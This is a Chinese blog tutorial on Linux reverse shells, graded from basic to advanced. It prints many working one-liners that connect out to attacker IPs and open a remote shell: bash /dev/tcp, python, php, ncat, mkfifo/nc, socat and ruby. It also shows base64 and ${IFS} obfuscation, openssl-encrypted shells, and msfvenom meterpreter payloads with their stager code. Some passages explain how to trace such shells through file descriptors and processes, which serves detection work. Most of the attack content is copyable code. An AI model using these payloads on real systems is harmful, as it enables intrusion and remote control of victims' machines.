Linux系统下反弹shell

之前研究过一段时间的反弹shell,所以本文是我个人对反弹shell的理解,当然,本人才疏学浅,如有啥错的地方,各位师傅指出,共同学习一起进步!!!
0x00 定义
受害者由于某种原因主动向攻击者发起连接,攻击者可向受害者下发命令并得到命令执行结果,即为反弹shell。

某种原因,包括但不限于受害机器运行了远控木马(钓鱼邮件附件),存在RCE漏洞等

0x01 本质
网络通信+命令执行+重定向方式

网络通信:可以使用TCP/UDP/ICMP等协议,TCP协议再细分又可以包含HTTP/HTTPS协议等,UDP包含DNS等;
命令执行:调用shell解释器、glibc库、Syscall等方式实现;
重定向:管道、伪终端、内存文件等
0x02 攻击手法
初级
利用系统自带的 shell 进行反弹shell,命令无混淆

  1. 直接把shell的标准输入、输出、错误重定向到socket中(双向)
    bash将标准输出、标准错误输出、标准输入通过socket链接重定向至远程

bash
sh -i >& /dev/tcp/172.16.0.104/1234 0>&1
先简单解释一下这个命令的意思
• 0:标准输入、1:标准输出、2:标准错误
• r(可读)、w(可写)、u(可读+可写)
• >&:标准输出+错误
• /dev/tty 终端、/dev/pty 虚拟终端

一开始:在这里插入图片描述

& /dev/tcp/172.16.0.104/1234 之后在这里插入图片描述
0>&1之后

在这里插入图片描述
数据流图如下:在这里插入图片描述
通过反弹的端口 1234 去排查shell在这里插入图片描述
这里的shell,除了sh,还有如下:

bash、pwsh、ash、bsh、csh、ksh、zsh、tcsh等
此外,还有很多其他的例子

python
python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.11.6”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’
在这里插入图片描述
数据流图如下:在这里插入图片描述
php
php -r ‘$sock=fsockopen(“10.0.11.6”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
中级
这一阶段分成两部分,一个是基于上面命令的混淆,还有一个是引入一个“中转”的机制

  1. 混淆(双向)
    base64编码

echo “sh -i >& /dev/tcp/172.16.0.104/1234 0>&1”|base64

c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjAuMTA0LzEyMzQgMD4mMQo=
{echo,c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE2LjAuMTA0LzEyMzQgMD4mMQo=}|{base64,-d}|{bash,-i}在这里插入图片描述
${IFS}代替空格

/bin/bash -c bash I F S − i {IFS}-i IFSi{IFS}>& 172.16.0.104/1234<&1
2. 流量加密(双向)
mkfifo /tmp/f; /bin/sh -i < /tmp/f 2>&1 | openssl s_client -quiet -connect 172.16.0.104:1234 > /tmp/f
https://www.cnblogs.com/heycomputer/articles/10697865.html

这里主要讨论的是openssl流量的加密,管道在下面会分析

  1. 中转-管道
    所谓“中转”,就是shell的标准输入、输出、错误不直接重定向到socket
    中,而是在中间加入一个东西,即管道,然后再由管道连接 socket

不同进程之间通过管道相连接,最后通过多次管道定向至bash的输入输出

Ncat(双向)
ncat 10.0.11.6 1234 -e /bin/bash
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
双向证明:在这里插入图片描述
mkfifo(双向)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.16.0.104 1234 > /tmp/f
mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc传到该管道,由此形成了一个回路

在某些变形的场景下,可能经过层层中转,但无论经过几层最终都会形成一条流动的数据通道。通过跟踪fd和进程的关系可以覆盖

mkfifo(双向)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.16.0.104 1234 > /tmp/f
mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc传到该管道,由此形成了一个回路

在某些变形的场景下,可能经过层层中转,但无论经过几层最终都会形成一条流动的数据通道。通过跟踪fd和进程的关系可以覆盖
在这里插入图片描述

如下,假设我们要追查bash -i:在这里插入图片描述
上面查了639226管道,只查到了cat,下面查另一个管道639228,最终查到了nc对应的socket在这里插入图片描述
在这里插入图片描述
双向证明:在这里插入图片描述
mknod(双向)
mknod backpipe p; nc 10.0.11.6 1234 0<backpipe | /bin/bash 1>backpipe 2>backpipe在这里插入图片描述
双向证明:在这里插入图片描述
总的来说,0,1,2标准输入输出、错误输出流被指向pipe管道,管道指向到另一个进程会有一个对外的socket链接,中间或许经过多层管道,但最终被定向到的进程必有一个socket链接。

高级

  1. 流量伪装
    https://github.com/krabelize/icmpdoor
    https://github.com/bdamele/icmpsh
    https://github.com/ahhh/Reverse_DNS_Shell

Icmpdoor(单向)在这里插入图片描述
进程链:在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
2. 标准输入由代码处理(无落地)(单向)
编程语言实现标准输入中转,重定向命令执行的输入到中转,标准输出和标准错误中转形式不限制。

python3 -c “exec(“import socket, subprocess;s = socket.socket();s.connect((‘10.0.11.6’,1234))\nwhile 1: proc = subprocess.Popen(s.recv(1024), stdout=subprocess.PIPE, stderr=subprocess.PIPE,shell=True);s.send(proc.stdout.read()+proc.stderr.read())”)”
首先建立了一个socket,然后进入死循环。循环里面,启动了一个shell进程,输入由socket控制,输出和误都指向一个管道。命令执行完后,将输出和错误通过socket发送出去在这里插入图片描述
在这里插入图片描述
注意:

执行完命令,shell立刻关闭,因此测试的时候,进行了长ping
一执行命令shell就往管道写
查看进程链,执行同样的命令,每次启动的shell都不一样,shell执行完后就关闭了
这里的图片用的是旧的,所以进程id对应不上
在这里插入图片描述
在这里插入图片描述
单向证明:在这里插入图片描述
还有以下:
python -c “exec(“import socket, subprocess;s = socket.socket();s.connect((‘172.16.0.104’,1234))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())”)”
在这里插入图片描述
在这里插入图片描述
ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“10.0.11.6”,“1234”);while(cmd=c.gets);IO.popen(cmd,“r”){|io|c.print io.read}end’
在这里插入图片描述
在这里插入图片描述
3. 伪终端 pty
这类的攻击,特征就是shell的基本输入输出错误都重定向到了 /dev/pts,且恶意程序会打开/dev/ptmx,且会有socket外连

socat(双向)

反弹命令

socat exec:‘bash -li’,pty,stderr,setsid,sigint,sane tcp:10.0.11.6:1234

监听命令

socat file:tty,raw,echo=0 tcp-listen:1234在这里插入图片描述
先从进程入手在这里插入图片描述
在这里插入图片描述
再在攻击者上查看当前tty,看是否是/dev/pts/2在这里插入图片描述
Python(双向)
python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.11.6”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“/bin/bash”)’
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
msf-python/meterpreter/reverse_tcp(双向)

控制端

msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.11.6 LPORT=1234 -f raw -o /tmp/mrtp.py

msfconsole
msf5 > use exploit/multi/handler
msf5 > set PAYLOAD python/meterpreter/reverse_tcp
msf5 > set LHOST 10.0.11.6
msf5 > set LPORT 1234
msf5 > run

被控端

python3 mrtp.py
mrtp.py 如下:

import socket
import zlib
import base64
import struct
import time
for x in range(10):
try:
s = socket.socket(2, socket.SOCK_STREAM)
s.connect((‘10.0.11.6’, 1234))
break
except:
time.sleep(5)
l = struct.unpack(‘>I’, s.recv(4))[0]
d = s.recv(l)
while len(d) < l:
d += s.recv(l - len(d))
exec(zlib.decompress(base64.b64decode(d)), {‘s’: s})在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
双向证明:在这里插入图片描述
4. 非交互式shell-远控木马

  1. 恶意程序负责socket通信,如 msf-meterpreter/reverse_tcp
    恶意程序负责socket通信,同时把命令写到管道1中,shell从管道1中读取命令执行,并把结果写到管道2,恶意程序从管道2中读取数据,通过socket回传给攻击者。在这里插入图片描述

控制端

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.11.6 LPORT=1234 -f elf -o /tmp/exp

msfconsole
msf5 > use exploit/multi/handler
msf5 > set payload linux/x64/meterpreter/reverse_tcp
msf5 > set LHOST 10.0.11.6
msf5 > set LPORT 1234
msf5 > run

被控端

chmod 777 exp
./exp
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
2. 自定义shell
自定义一个shell,不使用系统自带的shell。

以 ls 命令为例子,功能是查看目录中有哪些文件,假如我们不想使用ls命令,那我们有什么办法呢?

那就自己写一个类似功能程序的代码,然后执行就可以了。

以 python shellcode为例子(你也可以写汇编 shellcode):

ls_shellcode = ‘’’
import os

dst_path = ‘{dst_path}’

dirs = os.listdir(dst_path)

for file in dirs:
print(file)

‘’’
exec(ls_shellcode.format(dst_path = “C:/”))
输出:

$Recycle.Bin
DocumentsandSettings
Intel
pagefile.sys
PerfLogs
ProgramFiles

这样根本不会出现启动系统自带的shell,为了更加隐蔽,还可以把shellcode通过网络传输。

再看现有的解决方案:以 https://github.com/rapid7/mettle 为例子,内置了一些的常用命令

在这里插入图片描述
具体代码本人还在研究中。。。

0x03 总结
这是我自己对linux反弹shell的一些理解,也是按照我自己的理解对其进行了分级,分成初中高级。。。可能会存在争论,又或者有一些我不曾知道的手法,欢迎各位师傅一起讨论啊!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值